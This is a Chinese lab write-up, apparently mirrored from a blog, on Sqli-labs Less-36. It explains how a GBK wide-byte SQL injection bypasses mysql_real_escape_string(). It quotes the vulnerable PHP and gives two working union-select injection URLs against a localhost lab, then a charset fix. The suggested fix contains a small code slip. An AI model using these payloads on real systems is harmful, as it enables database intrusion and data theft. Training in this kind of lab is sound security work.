zoukankan      html  css  js  c++  java
  • Sqli-labs Less-36 宽字节注入 绕过mysql_real_escape_string()函数转义

    关键代码

    function check_quotes($string)
    {
        $string= mysql_real_escape_string($string);    
        return $string;
    }
    $id=check_quotes($_GET['id']);
    mysql_query("SET NAMES gbk");
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    print_r(mysql_error());

    上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。

    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

    • x00
    • '
    • "
    • x1a

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的。

    方法一:利用%df突破

    http://127.0.0.1/sql/Less-36/?id=-1%df' union select 1,user(),3--+

    方法二:利用 ' 的utf-16突破

    http://127.0.0.1/sql/Less-36/?id=-1%EF%BF%BD%27union select 1,user(),3--+

    Notice:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。

    设置代码:

    mysql_set_charset('gbk','$conn')

    参考:https://www.cnblogs.com/lcamry/p/5762920.html

  • 相关阅读:
    PaoptMap
    NES游戏常用汇编指令
    JS_XMLHttpRequest
    Function Evaluation
    exists的用法
    我的博客园博客开通咯(qyl)
    数据库访问类(Sql)
    Show一下自己的编程工具
    Ajax.net使用初体验
    WEB打印代码大全(NEW!!)
  • 原文地址:https://www.cnblogs.com/zhengna/p/12661170.html
Copyright © 2011-2022 走看看